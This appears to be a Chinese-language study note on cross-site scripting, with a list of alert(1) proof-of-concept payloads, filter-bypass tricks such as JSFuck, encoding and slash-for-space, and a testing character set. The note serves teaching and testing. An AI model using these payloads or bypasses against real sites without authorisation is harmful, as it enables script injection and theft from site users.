XSS (Cross-site Scripting)
XSS 是一種網站漏洞,可以讓攻擊者在網站上執行 JavaScript 程式碼,進而竊取使用者的資料或是導向惡意網站。 問題通常出現在網站沒有對使用者輸入的資料做過濾,導致使用者輸入的資料被當成 JavaScript 程式碼執行。
簡單判斷是否有 XSS 漏洞的方法是在網站上輸入 <script>alert(1)</script>,如果有跳出視窗就表示有 XSS 漏洞。
另外延伸的方法,包含透過各種方式觸發 JavaScript 程式碼,例如:
- <script>alert(1)</script>
- <script>alert`1`</script>
- <script>eval('alert(1)')</script>
- <script>eval.call`${'alert(1)'}`</script>
- <script src=data:text/html,%61%6c%65%72%74(1)>
- <script>new Function('alert(1)')()</script>
- <input type="image" src=x onerror="javascript:alert(1);">
- <img src=x onerror=alert(1)>
- <svg onload=alert(1)>
- <a href=javascript:alert(1)>
- <iframe src=javascript:alert(1)>
- <iframe onload=alert(1)>
攻擊的方式有很多種、包含反射型 (reflected)、儲存型 (stored)、DOM-based 等等,主要的概念都是一樣的,將 JavaScript 程式碼注入到網站上並網站執行。會發生問題的主要原因是不正確的輸入驗證,導致使用者輸入的資料被當成 JavaScript 程式碼執行。
Bypass Filter
下面例出幾種繞過檢查的方式:
- 使用 JSFuck
- 使用 "或'
- 使用 >編碼<iframe onload="alert(1)">
- 使用 /代替空白<iframe/onload=alert(1)>
- 使用 <!--註解後續程式碼
Testing
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c
<script>alert(1)</script>
<script src=data:text/html,%61%6c%65%72%74(1)>
<img/src=x/onload=alert(1)>
<!--
Exercises
可以使用下面幾個網站 來練習 XSS 的攻擊方式:
Playground
提供一個 playground 用來測試各種 XSS payload: